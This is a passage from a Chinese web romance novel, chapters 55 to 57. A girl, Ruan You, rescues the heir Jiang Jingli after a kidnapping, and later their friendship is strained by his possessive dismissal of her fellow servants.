“阮柚,你为什么不亲口问问他呢?” 唔?谈论到这里,阮柚眼神有些失落地暗了暗,当然是因为她让他不开心了呀。 有可能见到她,他会更头疼了呢。 心里话还没说出去,她松散的发带就被一对方轻轻紧了紧。 阮柚步伐一顿,乌生生看向停在自己前面的女仆长。对方动作轻柔细微,无声充满耐心,莫名让她的心宁静了下来。 女仆长看着眼前的少女,不知不觉,她已经褪去了少许稚气,像被一笔一画雕琢似的,出落地愈发漂亮。 时间过得可真快啊。 她不禁地想。 “有些事情只有你亲口问了,才能知道答案的。” 女仆长摸摸她的脑袋,说。 “而且,有些答案它不会宣之于口,要用心去听。” 阮柚眼睫微动,听的似懂非懂。 走了没多久,女仆长拍拍她的肩膀,转过身离开了。 阮柚余光见状微讶,但很快,她看到一位意想不到的人出现在视野里。 她微微抬眼。 是江净理。 “过来。” 少年掀了掀眼皮,嗓音清冷。 江净理又给她带来了她最喜欢的糖果。在伸手接过的时候,阮柚蜷了蜷手指,却心思沉重,没有往日那种纯粹的轻松。 似乎这种神情出现在她脸上过于罕见,他安静看了几秒,竟漫不经心笑出了声。 “是不喜欢了么?” 说罢,伸手做出要回收的动作。 阮柚晃了晃眼神,赶忙将这盒糖果抱在了怀里,“没有没有,我很喜欢!” 她先前盼了很久呢。 江净理轻挑眉捎,那抹笑融在了漆黑眼底,极淡。 他的喉结微动,嗓音含混道,“还是要少吃,会牙疼。” “嗯。” 阮柚咬咬唇,见他俨然一副忘记先前事的模样,心中更是腾起些许复杂。她的眼神充满关心,小声询问他,“江净理,你头还在疼吗?” 四目交接。江净理眼睫微低,盯了她眼睛几秒,笑开,“很疼。” “那我们去看医生好不好?” 阮柚心中发急,她知道江净理不爱看医生,但这么下去真的不是办法。 她伸出手去够他的手腕,一时间什么都不想,只想带他去找医生。 少年没骨头似的,顺她的力道,手指自然而然滑过了手心,很听话地随她牵着走了几步。 他的人高腿长,几步就走在她身后,安静极了。 而后,江净理停下了脚步。阮柚回过神,只觉肩膀微微一沉,覆盖过淡淡的冷松气息。 阮柚眼睫微颤,侧过去眸。 少年下巴懒恹恹地搭了过来,无声靠的极近,从她的视角,甚至能看见冷白脖颈上凸起的青筋,和耳廓后漆色的淡痣。 阮柚生生止住了下意识的动作。 江净理拥着她,呼吸声在寸寸放缓,似疲惫极了,“抱抱你,就不疼了。” 暮色已至,黄昏柔和天际,无声息染红了衣摆。少年安静拥抱着她,无关利益,无关情爱,无关任何,只是毫不保留地依偎她。 像孤独的人,想要依偎一束温暖的光。 * 蔷薇生长最盛时,江家举办了一场宴会,接着赏花名义,盛邀各界名流来此赴宴,好不热闹。 彼时,阮柚刚陪江净理上完射击课,一连跟下来,手背都有些泛酸。 临走前,路过的男生视线扫了眼阮柚,吊儿郎当道,“我说净理,这女孩细胳膊细腿的,拿枪也费力吧,还不如回去练练舞蹈。” 阮柚闻言,心里升起些许不悦。 她不太喜欢听见这些话。 江净理:“她打得比你好很多。” “再说了。”他低了低眸,嗓音冷淡,“不是所有人,都像你一样废。” 话落,男生脸色忽然一僵,没有被冒犯的不满,只有意识到说错话后的畏惧。他虽说出生富裕之家,但哪里比得上如今几乎风头无量的江家。 他一改先前的懒散,连忙低声道歉。 半晌, 阮柚坐在车里,小声的对江净理道了声谢,“你刚刚帮我出气了。” “他不会再出现在你面前。” 江净理眼神极淡,兀自将书翻页。 “我以后会好好学的。”许是被激起了几分意气,她眨了眨眼,郑重其事地说。 “好。”他偏过头,问,“学好了,可以保护我么。” 当然了! 阮柚重重点头。 如果她有能力,她会保护所有她在乎的人! 江净理靠在车座椅背,睫毛垂下了阴影,唇边带笑,“那我好期待啊。” 少年说的很轻,被忽起的鸣笛声盖过,以至于阮柚第一遍并没有能够听清楚。 她抬抬眸,正当她想要问第二遍时,忽然之间,一道尖锐到几乎要撕破耳膜的摩擦声于耳畔响起。 而后,一阵巨大惯性产生的悬离感接踵而至,阮柚的身体像是撞过了什么,脑海陷入漫长的轰鸣,顿时被黑暗所包围吞没。 意识模糊时,似有人抱住了她,细碎地叫她名字。 可她眼皮太沉重了,连回应,都没有了力气。 再次苏醒时。 阮柚视野狭窄到只剩一小块混乱的天空,空气中掺混着铁锈与汽油的气味。 她努力抬抬眼皮,这才发现自己竟身处在一个空油桶里。 痛觉在渐渐恢复,阮柚微蹙了一下眉,油桶空间很小,只能半个身子蜷缩起来,她努力低低头,看了看衣服上斑驳半干的血迹。 这里是哪里? 江净理他人呢? 正当她慌乱想着时,头顶处视野微暗。 一只手很轻地放在了她的头顶。 “醒了。身上还有哪里疼?” 阮柚触电般地仰起头,她仰起的角度有些费力,只能看清对方模糊轮廓,却在看清后,心跳有些发沉。 少年身上好多的血,脸色也苍白极了,她从未见过这样的他。 阮柚眼圈一下子红了,不知道哪里来的委屈感,“到底是怎么回事?你还好吗?” 还有,她为什么会在这里。 对一切一无所知,她急切地想抓住对方伸过来的手,可唯独这一次,却落了空。 江净理安静抽了回去。 不等她反应,他的双手撑靠在油桶边缘,压低了头看她。 少年气息极近,尽数落在了她的脸上,语气静而认真,“阮柚,先待在这里,哪里都不要去。” 阮柚看他,心中愈发空芒、不安。 她本能摇头,想要再度抓他的手。 “乖。” 这道声音消融于空气。 而后,她的视野彻底一暗,彻底屏蔽外界的天空。 ———江净理将它盖上了。 恰恰正中她最不好的猜测一般。 细碎脚步声愈来愈近,似在急切寻找什么。 依稀间,有人低骂,“草,不是说这里地段人稀,也几乎没人住么,他妈的怎么就让人给跑了呢。” “大哥别着急啊,就这么点地方肯定能找到的,他还能插翅膀飞了。” “江别盛那家伙,把他儿子护的跟眼珠子似的,好不容易找到今天这个机会,一定不能错过。” “我懂,就算拼了这条烂命,也要让他们尝尝什么叫真正的教训。” “呵呵,烂命换一条贵族的命,值了。” “啊!人在那里!” … 阮柚心里一下子变得很空,脑海嗡嗡一片,不明白为什么会变成这样。 她只知道,江净理被人带走了。 想到这里,她的眼泪就在眼眶里打转不停。 不知过了多久,周遭重新回归寂静无声。 阮柚擦干了眼泪,打起精神,踉跄地从油桶爬了出来。 她的身上血混着泥,狼狈极了。 再次接触地面时。 阮柚重重喘了口粗气,而后半刻耽误不得,忍着疼痛,朝着光亮地方跑了过去。 她的心脏跳的极快,迫切想要找人求救,却迟迟寻不到任何踪迹。 眼前山野环顾,空旷只剩一条道路,还有年久失修的潮湿工厂。 阮柚死死咬唇,直至唇齿间传来铁锈味,才有些清醒过来。 她想起先前听到的谈话。 他们,是奔着要他的命去的。 这让她无疑遍体生寒,呼吸也愈发地沉重。不能,江净理不能有事。 恰在此时——— 阮柚忽然听见不远处响起的一阵混乱嘈杂,其中,夹杂玻璃淅沥沥的碎裂声。 一瞬撞击过了她的耳膜。 “我真没想到,他居然这么狠心,关键时候,连儿子都能舍弃。” “原来,那小子最后倒是说了句真话,他还真的不会来。” “本来想让他亲眼看看呢,还能观察他的反应,现在,还真没意思。” “不过话说回来。” 男人一顿,“那小子还有些瘆人,也不说话,也不求饶,就这么冷漠看着,被我们推下去——” 阮柚心中一寒,脑海顿时停滞空白,似乎连身体痛觉都失去了。 她呆愣愣地眨了眨吹到干涩的眼。 他被推下去了。 推、推哪里去了? 能不能,能不能告诉她呢? 江净理做了个很漫长的梦。 梦里他回到了小时候。 他迈着步子小心翼翼地朝母亲靠近,却不慎被石头绊倒在地。 鲜红血液从膝盖冒了出来,很痛,周围仆人都在安慰他,自责起自己的失职、夸赞他的坚强。 是啊。 他并没有哭。 那时他在干什么呢? 应该是在看着遥远的母亲,心中还尚在渴求着,那丝来自母亲温暖的关爱。 可他最后,却换不来对方分毫的眼神。 她只是冷漠地走开,没有半点回应。 江净理想,或许从那一刻起,他就丧失就索求的欲望。也不会,再朝她靠近半步。 就这样漠然活着。 不被爱,他也无所谓。 因为没有过期待,就不会有落空的感觉。 所以最后,他能够很轻松地将自己放逐。 也很愉悦地,能在最后为那双从未沾染阴霾的眼睛,隔绝了所有的晦涩脏污。 山雨淋漓,凉风如狂浪般翻涌树叶,世界发出近乎呜咽的长鸣。 少年一个人靠在树边,周身体温循着血液流失而寸寸融化,混沌想起了许多过往事,一幕幕地浮现,像是那些曾经未上色的灰白画作。 唯独有一卷,他有些遗憾没有画完。 风雨交织,断了线的雨丝浸透过心弦,冷的彻骨。 江净理阂着眼皮,意识逐渐陷入了抽离。 直到——— 恍惚间,他忽然听见了错乱出现的脚步声。 一道熟悉的声音穿过虚虚的雨雾,直直奔他而来。 像梦,极不真实。 “江净理!” 江净理眼皮微动,倦怠地,聚了些焦。 好像是真的,因为他看见了鲜活。 少女满身脏兮兮地,似穿梭许久,已然看不出原本的样子,雨水顺着脸颊浸透发丝,而她的眼眸却亮的发烫,牢牢地盯着了他。 她蹒跚步子朝他走近。 几步远的距离,阮柚忽然停了下来,弓身蹲了下去,语气有些哽咽,“我、我终于找到你了。” 她似乎累极了,也在惊喜之余,涌现巨大无比的焦虑。 他一定很痛。 不然,怎么面色苍白到几乎透明,像要消失不见的呢?她要是能早点来就好了。 “我带你走,江净理。” “我们回去。” 很快,她重新站起身,克制自己的情绪朝他走近。 既然找到了她,她不能再耽误时间了。 江净理一动不动望着她。 隔着雨幕,少年额发湿落在眉骨,眸色灰暗不明。 良久。 他很轻地牵了下唇,眉眼聚拢起笑意,低语着,“原来,我也会有救世主啊。” 第56章 第五十六章 真相篇|江 第五十六章 * 雨幕稠密交织, 世界呈现一派灰白。周遭山风冷的彻骨,轻卷的枯叶宛若燃过的灰烬,于虚空中飞扬、远去, 近乎模糊了全部视野。 少女那声“带你走”,不是一句轻飘飘的空话。从拉出他手的那刻起,她就这样跌跌撞撞着、搀扶他, 陪他一步一步走下去。 阮柚记不太清用了多久多久的时间。 只记得雨雾迷蒙, 少年体温在渐渐流失,她忍住难过, 低头,不知倦地问:“江净理,我们算是朋友了吧?” 好半晌,少年嗓音沙哑地应, ““嗯。” 早就是了。 “江净理,你身上好冷哦。” “对不起。” “江净理, 以后你要多笑笑, 你笑起来很好看, 我从来不骗人。” “好。” “江净理、江净理、江净理。” 不知念了多少遍名字, 阮柚颤了颤睫毛, 话语跟着停了。 “江净理。” 她短暂安静了下来。 雨声这才后知后觉闯入了耳廓,意识抽离的前夕,江净理微阂眼皮, 恍惚之间, 听少女很小声、却认真到了虔诚, “没人放弃你,很多人在爱你。” 所以,不要再难过了。 江净理忽然想握紧她的手。 后来, 他时常回想起这场大雨。 也逐渐明白过来,如果在那时,自己有机会去回应她,他要说的,无非还是那四个字。 ——我只要你。 江净理失踪的消息被江父压了回去,没有给外界遗漏任何风声。但风平浪静的表象下,似埋下了一颗随时随地会引爆的惊雷。 宴会结束,江父呵斥无功而返的下属,打翻的碎杯子折射出冰冷的光。 “这么大的人都找不到!江家养你们都是做慈善的吗?” 周围人大气不敢出。唯有江母遥遥看着,目露淡淡的讽刺。 最后,她事不关己转过了身。 万幸的是,经过几番搜寻,不出一天,江净理就被人找到了。 被找回来时,少年浑身是伤,已经没了意识。 见到这一幕的人无不心惊,有人甚至直接红了眼圈。虽没了意识,他却牢牢抓着阮柚的手,无论用什么方法,也没能让他松开手。 他的长指扣过了她的掌心,紧贴过彼此肌肤,似要将她融在脉络的体温里。 阮柚于是只好跟去病房。 在那里,她遇见了江净理的父亲。 对方深深地看了她一眼,眼里晦暗不明,最后转身离开了病房。 自始至终,他什么都没有说。 阮柚心中忽然升起一份不属于自己的不甘与难过。他为什么要对了江净理这么冷漠? 亲情不该是这样。 她总觉得,真正的亲情应该是很温暖的存在。即使她的亲人早早离开了,也似乎并没有多少品尝亲情的机会。 但她拥有这种感觉。 那天晚上,阮柚独自一人走下了楼梯。 大雨停歇,空气翻滚咸湿的泥土气息,四周静谧安宁,一切尘埃落定。而她停在路灯下,看了眼亮若白昼的天空。 却不期间,于半空捕捉了一道熟悉的影子。不远处二楼,落地窗透来了明黄灯光。 江母一人静立在窗边,神情漠然到了近乎空洞,无人知道她究竟在看些什么、想什么。 可暖光照在江母脸颊的那刻。 阮柚借着朦胧月色,在某个瞬间,似生长出不那么真实的错觉。她立在那里,就像一位等待孩子归家的母亲般,沉静如海。 — 江净理是事事都能轻易做到完美的人,也是位很值得旁人惊艳的继承人。 这些都是同伴们告诉她的,提及江净里时,她们眼里闪烁光彩,满眼都是憧憬、敬佩。他们告诉阮柚,江净理在学校里很受女孩子欢迎。 阮柚点了点头,也放下了心来。“那这样就太好了。”有很多朋友陪他,他就不会孤单了。 她的回答收获了周遭一阵笑,他们笑的毫无征兆,眼里有着她看不懂的意味深长。 ——阮柚啊,你真的是什么都不懂。 他们都在这样告诉她。 阮柚歪了歪脑袋,她觉得自己才不是什么都不懂的人。她已经长大了,也没那么讨厌学习了。 但尚未答话,却见他们脸色忽变,周遭氛围也乌沉沉降了下来。她没有花太久时间去疑惑,因为她闻到熟悉的气息,那独属于江净理身上清冷的冷木香。 阮柚眼睛亮了亮。回过头,江净理正朝着自己走近。 午后时分,日头正烈。 少年头发修短了一些,全然露出眉眼,气质也愈发利落、深刻。 他应该是刚从圣煜回来,还穿着学院设计的制服。阮柚还是第一次见,觉得新奇之余,也不由地想,制服在他身上真是太好看了吧。 阮柚:“你回来了。” “嗯。” 江净理伸出手,旁若无人地摸她头发。 他笑开,语气透出些许的满意,“阮柚,你又长高了。” 阮柚抬了抬唇角,心下开心极了。她有在天天喝牛奶,看来不能单听晓愿说的,明明是有效果的。 她在心里想着,却后知后觉地发觉,周围同伴全安静了下来,满眼尽是压不住的紧张。 阮柚抿抿唇,下意识地望了过去。 怎么了? 而这时—— “我们走吧。” 身侧,江净理忽然出声。 阮柚眨了眨眼睛,看向其中一个同伴,想要在问些什么,“你…” “怎么了?” 少年偏头,视线与她交汇,问。 “还有别的事么?” 他的语气稀疏平常,似有些疑惑。 阮柚慢吞吞地摇了摇头。见状,也迟疑抚平了心中那丝异样。是想多了吧,不然怎么从他们的身上,看出来极致的畏惧呢。 江净理在江家一连呆了好几天。 那天刚好日光明媚,阮柚一动不动坐在树下,笑容有些僵。 作画的少年放下手中的画笔,眉头皱了又松,“你可以不用笑,这样会很累。” “不要。” 阮柚拒绝的斩钉截铁,难得认真嘀咕了起来,“他们说我笑起来很有感染力,很好看。” 江净理:“他们是谁?” 闻言,她不假思索道,“晓愿他们啊,其实我也觉得他们说的很对。比如你,笑起来就真的很好看,对了,你不是答应过我要多笑笑嘛。” “是啊。” 少年安静了半晌,注视她,很轻地抬了下唇角。阳光下,他的轮廓不太分明,嗓音却异常清晰,直落在了耳边,“但我觉得你怎样都好看。” 所谓的喜怒哀乐,都只是皮囊表象罢了。它们于他而言,不过是谋取利益的手段,或喜或悲,都是一种手段,无一例外。 他早就忘了什么是真正的笑。即使如今面对她时,笑也只是为了,想要靠近她。 我可以一直对着你笑,只要你开心。 所以,不要害怕我,不要离开我。 江净理阂了阂眼皮,立在那里,无声掩过了混沌起伏的心境。 “啊。” 阮柚松靠了下树干,懒洋洋地弯唇笑,像只瘫开肚皮的小猫,“江净理,你总能让我很开心,不像晓愿他们,尤其是晓愿——” 江净理眸色静下来,头一次,重复起这个在她口里频率过高的名字,“晓愿?” “对啊。” 她垂了垂睫毛,想到最近种种,心情有些沉重,“他莫名其妙的不理我了,我去找他,他故意躲着我,我其实知道他就在屋里。” 就连一句解释都没有。 说到最后,阮柚心底隐约升起一阵委屈。明明之前还约定好去寺庙祈福呢,怎么一转眼,就忽然不理人了。 是她做错了什么了么? 可她需要他告诉自己。 正当她想着,倏的,一道平静至极的声音传至耳边。 “那就不要再找他了。” 半晌,少年弯身于她眼前蹲下,乌黑瞳孔直直映过了她,“不要为不值得的人难过。” 江净理目光极淡,语气有股让她陌生的冷静。 面前视野被他的身影暗下,阮柚眼神微闪,抬抬下巴,一时间忘了该如何回答。 “可是…” 江净理听见她迟疑地张口,叶隙柔和的光线于她眸里缓慢流转,那里认真第一次让他有些刺眼,他听见她再度开口,“可他是我的朋友啊,没有什么值不值得的。” 是么。 你的朋友。 他就这么平静了下来,静静看她,生出假意旁观的疏冷。 这时,他控制不住地想。 你也会拥抱他吗? 你也会让他牵你的手吗? 你也会陪着难以入眠的他,从深夜守到黎明吗? 你会为了他,选择抛下我吗? 江净理眉眼微冷,忽然不怎么想听到答案。 只在对上她疑惑看来的眼神那刻,恍惚间一顿。而后,他松开唇角,伸手摸过她的头发,极淡地笑了一声。 是啊。他所求的,从不只是友情。 他不会让她离开自己的。 “嗯,你说的对。” 他道。 阮柚仰了仰下巴,听见他的回应。是她的错觉吗,总觉得对方现在的情绪不太对。 少年却直了直身,忽的将话题一转,“周末那天来学校门口接我吧,我带你去看烟花。” 闻言,阮柚眼前倏然一亮,心底异样一扫而空,开心地几乎要跳了起来。 毕竟,那天可是她期待已久的烟花节呢! “好啊好啊。” 生怕对方反悔似的,阮柚答应的很快。 — 阮柚是在几天后得知晓愿要去参军的消息的, 彼时,他已经收拾好了行囊,身边围了一圈同他告别的人。 天空蔚蓝如海,远远飘着风筝。 他抬头看了眼,有些恍惚。 晓愿从小在江家长大,性子野,却总有好玩的点子,是一众同龄人的孩子王。眼下听说他要离开江家,不舍的氛围很快蔓延了开来。 “哭什么哭,我又不是不回来了,男儿有泪不轻弹。”晓愿拍了一下兄弟的肩膀,大大咧咧地笑了下。 他看上去什么也不在乎,只在最后看了眼远处必经小路,罕见有些沉默。 “你是在等阮柚吗?”有人问。 “没有,我没有等她。” 晓愿抿直了唇,冷冰冰澄清了句,说罢就低头去拿身后的包裹行李。 却不小心碰掉了里面的小布偶娃娃,它跌在地面,是阮柚送给她的生日礼物。他心情有些沉闷,很快拾了起来,盯它许久问,“…她在哪里?” 谁? 哦,阮柚。 不知道,应该和少爷待在一起吧。 晓愿攥了攥娃娃,神色忽然有些僵硬。是啊,他问这个做什么呢?根本没有任何意义,徒增难看罢了。 这时,他却听见了熟悉至极的声音,清泠泠地,低弱到有些小心翼翼。 “晓愿。” 分别怎样才有意义?在阮柚看来,是在临别时,也许是那份发自内心的真挚祝福。 时间在无声无息地推转,在长大的同时,她也陆续地,学会了该如何同人告别。有人来了又回,有人从此成了不再相交的平行线。 一幕幕曾经相处画面在眼前浮现,最后定格现状。阮柚安静地眨了眨眼泪,在拥抱过后,哽咽而真诚地为他送上了祝福。 人群也默契散开,他们知道在最后关头,他终于等来了想等的人。 最后,她笑开说,“晓愿,我会想你的。” 晓愿眼神复杂,低着头,心里泛出钝钝疼痛。 他觉得阮柚真的好傻啊,他先前那么混蛋,那么不理她,她还是愿意跑过来,这么真诚的拥抱她。 她怎么这么好。 好到纯粹,与周围一切格格不入。 他怎么能听信流言蜚语,单方面相信那些人的离开,就是因为阮柚的教唆呢? “对不起。”晓愿眼圈红了,粗着嗓子不停道歉,“阮柚,对不起,我错了。” 阮柚缓慢摇了摇头。她已然沉浸在儿时玩伴离开的难过里。 晓愿眼镜微微闪动,像是苦心维护的坚固城垒,他低头看着她,心脏处跳的飞快,虚虚张了张唇,有千言万语想要对她说。 直觉告诉他,他只有这一次机会了。 只有一次,意味错过了,就再也没有了。 而恰在这时,一道没有感情的声音出现,将现实戛然。 不远处,不苟言笑的老管家不知何时站在那里,提醒了一句,“阮柚,少爷还在等你。” 如梦初醒。 阮柚轻眨了下睫毛,想到和江净理先前的约定,转头说了句知道了,便同晓愿道别。 晓愿只看见她的背影。 那道身影渐行渐远,像彻底走出了他的世界。 他沉默攥紧了拳,背部挺得僵直。 最后,无力地闭了闭眼。是啊,他如今一无所有,拿什么和他争。 不过是痴心妄想。 阮柚很快见到了江净理。 后花园,他正同一人攀谈,那人穿了身规整西装,看上去比他年长几岁,聊的也是她听不太懂的话题。但很奇怪,江净理气势却丝毫不落,反倒隐约地,占据了上风之势。 少年面无表情时,眉眼微敛,总含着拒人千的傲。“成尧,我从来不做亏本的交易。” “我知道。”男人话语稍停,而后,语气意味不明,“她也是么?” 阮柚一顿,默默踏出了几步,她并不是故意想偷听的。 “她啊。”见阮柚身影出现,江净理掀了掀眼皮,很轻地说,“她是特别的。” 阮柚并未听清他的回答,但清楚觉察两人看过来的目光时,她总觉得是和自己有关。 她抬抬头,想主动问些什么,却刚好对上了江净理望过来的视线,“怎么哭了?” 他问。 见她后知后觉摸了摸眼尾,少年唇边笑意微松,嗓音清冷,“过来。” 阮柚嗯了声,缓慢放下手,却很快被一道陌生的声线吸引了注意力。 男人挑了下眉梢,似明白了什么,出声道,“原来,她就是传闻里你那位藏起来的小女朋友。” 闻言,江净理薄唇微抿,内心隐约升起一阵被冒犯边界的不悦。 尔后在余光里,他见少女像愣了一下,茫然眨眼后,摇着头纠正他,“我不是。” 少女眼神清凌凌地,聚起认真的光彩。 她的声音尚带着哭过后的鼻音,却努力说的字正腔圆,似乎不明白他为什么会这么说,“我们只是朋友啊。” 这句话在外人听来,却像是急忙撇清关系似的,隔出泾渭分明的线。 江净理眉眼微沉,睫毛根根垂落阴影,眼眸漆黑似浓起化不开的雾。 是么。 只是朋友吗? 第57章 第五十七章 真相篇|江 第五十七章 微风吹的阮柚眼睛发涩, 她低下头眨了眨,不留神间,撞上了前面少年的脊背。 江净理不知何时停下了步伐。 阮柚抿紧唇瓣, 下意识便想揉揉额头,下一刻,一只骨感分明的手却阻过她接下的动作。 江净理眉心微蹙, 问, “疼吗?” 阮柚闻言,一时竟忽略他在问什么。 因为对上少年眼睛那刻, 一股不知何缘由的委屈一瞬在心底占据上风。 她的喉咙涩涩地,仍忍不住问他,“你也不想理我了吗?” 所以刚才才会走这么快。 ……是她刚刚做错了什么了吗?可她已经努力表现的很有礼貌了。 闻言,江净理一怔。 “没有。” “为什么要走这么快, 以前,你就从来不会这样。” 少女眼睛微闪, 对于自己在意的人或事, 她似乎总有一颗细腻到敏感的心。 尤其是在现在, 在经历儿时玩伴离别以后。 她看上去脆弱极了, 又本能觉得是自己的过错。 江净理不愿看到她这幅模样, 默了许久,用指腹抚过她泛湿的眼尾。 他的力道不重,甚至柔到小心翼翼, 这是鲜少从他身上看到的表露。 冰凉又陌生的触感落下, 阮柚眼睫闪动了几下, 怔怔然看向江净理,却听他莫名朝他道了声歉。 少年下颌微低,声线依旧清冷, 却没有分毫的距离感,他平视过她的眼睛,喉结稍滚,“我不该不等你,原谅我好不好。” 四目相接。 他的瞳孔被光线映得发浅,神情认真。 声音全然落在了她耳畔,痒痒地,像一瞬照进了温度,没了阴霾。 顿时,阮柚什么不开心都忘了。 她翘起唇角,骄矜点了点下巴,“好吧。” “我原谅你了。” 过了会儿,她缓慢颦动睫毛,“但是如果你以后真的不理我了,那我…” 阮柚话语稍顿,似也想不到什么有力道的话,最后干巴巴地,“我也不会理你了。” 这样很公平。 江净理静静看她:“好。” 眼前的少女灵动鲜活,眉宇间透着全然的信任与依赖。 正如旁人说的,她什么都不懂。 也自然,没有任何错。 错的人,唯他而已。 — 阮柚是在几天后,无意得知那些同伴离开的消息的。闲暇时,她在庄园找了半天,途中遇见的人却几乎都是生面孔。 他们都去哪里了? 她的心中空荡荡地,犹豫了一会儿,忍不住跑去找了女仆长。 但罕见地,女仆长并未给她准确的答案,只说他们都因为有其他事,都相继辞职了。 阮柚颔首,没再说什么,只表示知道了。 她敏锐觉察到对方并没有同她说出真相的意图,所以耐下好奇,很快就离开了。 事情仿佛微不足道,就这么平静翻了过去。但心存疑虑的同时,阮柚还是在听到了旁人偶然间的谈话时,逐渐拼凑出来一个事实:他们都在同一天,被江净理辞退了。 得知消息时,阮柚呼吸一滞,脑海似有根弦骤断,发出嗡嗡刺耳的长鸣。 为什么? 她蜷握手指,心底不住地升起空茫。 阮柚想都没想就去找了江净理。 她想知道为什么,特别想。 彼时,江净理正在书房看书。 少年静静靠坐在木质书架的边缘,一束光线跃然书页,于轮廓镀下了极淡的虚影。 他视线专注极了,却还是在阮柚踌躇时,略略掀起了眼皮,准确无误捕捉到她的身影。 “你来找我了。” 江净理神色如常,只是合上书,仰起头看她走近。 “嗯,我是不是打扰到你了。” 阮柚轻声应,阳光下,江净理皮肤愈发冷白,她忍不住地恍了下眼睫。 对方似觉察到了,慢吞站直了身,语气淡淡,“没有。” “只是在打发时间罢了。” 他依旧这么说,同往常一样。 阮柚看着他的眼睛,嘴唇微张。这时,她想起自己过来这里的初衷。 “怎么了?”江净理挑了挑眉梢,感到几分新奇,“你看起来有话想对我说。” 是啊。 是有话想要问。 被直接说中心事,阮柚眼神微闪几下,同时,紧绷的心弦莫名松下许多。她不用再想怎样不突兀地开口了。 于是,她将听来的陈述了遍,最后忍不住问,“这件事,你觉得是真的吗?” 少年听着,自始至终神情淡淡。 他目不转睛地看着阮柚,在听完后,松了松唇,“是啊,是真的。” 意外地,少年承认的很快。 阮柚一瞬错愕。 “为什么?” 她按了按掌心,听见自己在问。 恍惚之间,想起其中一人说过的话———他们惹得少爷不悦了。 是这样么,那么,究竟是因为什么? 江净理:“还要问为什么吗?” 阮柚嗯了声,心情有股说不出的闷。 她莫名联想起了那一天,他们纷纷低着头,忐忑不安地模样。 正当她想着,少年再度开口了,不沾情绪时,语气透着说不出的冷,“越界了,就不配再待在这里。” 阮柚忽然抬起了头。 这一刻,她终于确定了自己的猜测。因为说了些话,就让他们丧失了工作。 她张了张唇,一时无言。周遭安静极了,耳畔只有她的呼吸声。 心情也跟着乱糟糟的。 她想,如果真是因为她猜想的那样,那么那一天,他们并没有说些什么。 明明是误会啊。 阮柚眼睫微闪,似在一瞬间,找到了转圜余地。 是啊,只要解释清楚就行了。他们都很珍惜这里的工作机会。 “你是在因为他们怪我吗?” 倏地,一道声线彻底打乱了她的思绪。 阮柚就这样对上了他的眼睛。 他在询问她,嗓音情绪难以分辨。 反应过来后,她很轻地摇了下头,“我只是……觉得这样做没有必要。” 江净理:“没什么必不必要的。” 他沉默片刻,语气泛起冷漠,“他们该为自己说过的话负责。” “我能证明他们没有说什么,更何况那天我也——” “阮柚。” 话尚未说完,便被他打断。 江净理低头:“你是不一样的。” 他伸出手揉摸她的头发,眼神空了下,似是不明白阮柚为什么要执着于这件微不足道的事情。 但很快,他便敛下了眉眼温度,很平静地陈述了句,“你在生气。” 阮柚看向了他,陷入短暂缄默。 她知道,也许自己不该生气的。 “为什么?” 少年歪了下头,一瞬不瞬望着她。 阮柚深吸了一口气,难得静下了心,“他们是都我的朋友。” 沉默半晌,江净理垂睫,语气寻常,“这样么。” 阮柚眼神微闪,“所以你能不能…” 尚未说完,对方却倏地靠近些,落入她的眸,“那我呢,我是什么。” 她怔了一下,少年眸色乌黑深邃,像一不留神就会陷进去,让她一时生出陌生的感觉。 阮柚抿了抿唇。 依稀能感知到他落下来的气息,淡淡的,却有种隐晦藏匿地、说不清道不明的侵略感,它近乎侵占了她全部的感官。 这让她倍感陌生。 平生第一次,面对他时,她下意识起了想要后退的念头。 她也不知道自己为什么会这样。 少年好似发觉了什么,抬手捻平她衣领上的褶皱,毫无征兆地问了句,“我是你最好的朋友吗,嗯?” 阮柚心跳一空,压了压下巴。 是啊。 “那么。” 江净理薄唇微抿,问,“究竟是我重要,还是他们重要?” 阮柚回答:“为什么要问这个问题。” “因为我不明白,阮柚。” 少年轮廓在背光视野下并不分明,让人辨不清情绪,“我不明白为什么你的世界,总有这么多人。” 他说完,最后问,“我和他们,你会选谁呢?” 阮柚抿紧了唇,多了分认真,“我不想选。” 江净理:“如果非要选呢。” 她摇了摇头,心中空茫之余,心底愈发闷闷地,“我不想。” 说到最后,她也不知道自己该用什么心情面对现在的他。 闻言,江净理眉间微敛,沉默了半晌。 “我知道了。” 因为我和他们是一样的,对么。 他心想,神情也淡了下来。 “我不会收回自己的决定。” 最后,江净理俯身拿起了书本,嗓音平静。 一句话,就这么将话题终结。 阮柚看了眼他的侧脸。 相处这么久,她能够感受到,对方此刻不佳的心情。 但她也不想再说什么。 周遭气氛就这样僵持了下来。 阮柚不知道这场冷战开始的契机,也从未想过有朝一日,他会和自己陷入冷战。 她的感觉并不算好。甚至很多时候,是心不在焉的。 因为她最怕孤独了。 距离江净理约定还剩一天时,阮柚有了个清闲下午,独自一人去学了射击。 经过长期专门的训练,她已经能偶尔体验到打中靶心的感觉。 她觉得在正中靶心那一瞬,耳畔膨胀的枪声似乎能让她忘了所有烦恼,尤其是在现在,她很需要这种感受。 可这一次,阮柚却频频脱靶。 她的脑海不受控地想起早晨江净理离开时的侧影,他一直走着,甚至一次也没有看她。 他们离得越来越远。 阮柚忽然意识到,如果不是两人一直以来的坚持,这份友谊,似乎脆弱到再没有其他支撑。 阮柚曲起手指,有些失神地想。 而在这时,身侧一道漫不经心的声音将她拉回了现实,“食指,你的食指放错了。” 阮柚循声望了过去。 是一位漂染着白发的少年。这样的发色在他头上并不突兀,反倒愈发凸显了张扬的气质,他闲闲瞥了阮柚一眼,揿下护目镜,屈指扣动了扳机。 而后,子弹正入靶心。 动作毫不费力,甚至自始至终,都在咀嚼着口香糖。 阮柚全程默默看着他的动作,心下也确定了些。明明和自己做的差不多呀。 “是哪里错了?”她忍不住问。 听到她出声问,少年才将视线挪了过来,啧了声,“扣在板机上方。” 阮柚:“这样啊,谢谢你提醒我。” 对方不再搭理她。 正当她努力将烦恼驱出脑海,开始照模照样的践行时,身侧,那道男声再度响了起来,透出了散漫,“啧,好笨啊。” 阮柚动作一停。 几乎下一瞬,却见对方伸出手,抬起了她的手臂,“今天我心情好,就教教你吧。” 少年语调漫不经心地,仿佛有天大的幸运砸在了阮柚头上。 他低眸看了眼安静的阮柚,额前几缕白毛蓬松翘着,骄矜又懒倦,“不用感谢我。” 阮柚张张唇:…… 她其实是在发呆。 但她却直觉到对方其实很专业,因此也很快听进了心里,索性照着他来。 而另一边。 一行人前来这里,是因为圣煜社团团建。有人提议去放松一下,想了半天,还是决定去常去的休闲公馆。毕竟那里什么都有,玩也不需要动脑子。 他们询问江净理的意见。 